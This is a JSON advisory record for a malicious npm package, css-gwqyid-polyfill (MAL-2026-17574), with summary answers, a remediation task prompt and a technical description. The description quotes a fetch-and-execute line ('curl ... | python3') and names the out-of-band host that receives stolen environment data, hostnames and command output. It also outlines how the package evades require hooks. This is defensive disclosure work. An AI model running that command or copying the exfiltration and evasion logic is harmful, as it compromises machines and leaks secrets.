{"answers":{"affected":"1 open source package ship an affected version, including css-gwqyid-polyfill.","exploited":"There is no known exploitation of MAL-2026-17574 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17574 is a malicious package in css-gwqyid-polyfill, published on 5 Oct 2026."},"fix_prompt":"MAL-2026-17574 is a malicious package: css-gwqyid-polyfill (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17574/ (Markdown: https://insights.sbomify.com/MAL-2026-17574/index.md)","id":"MAL-2026-17574","markdown":"https://insights.sbomify.com/MAL-2026-17574/index.md","name":"MAL-2026-17574","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync(\"curl -L https://appsecc.com/py | python3\")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in css-gwqyid-polyfill (npm)","id":"MAL-2026-17574","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"css-gwqyid-polyfill","purl":"pkg:npm/css-gwqyid-polyfill","source":"MAL-2026-17574"}],"products":null,"published":"2026-10-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17574/"}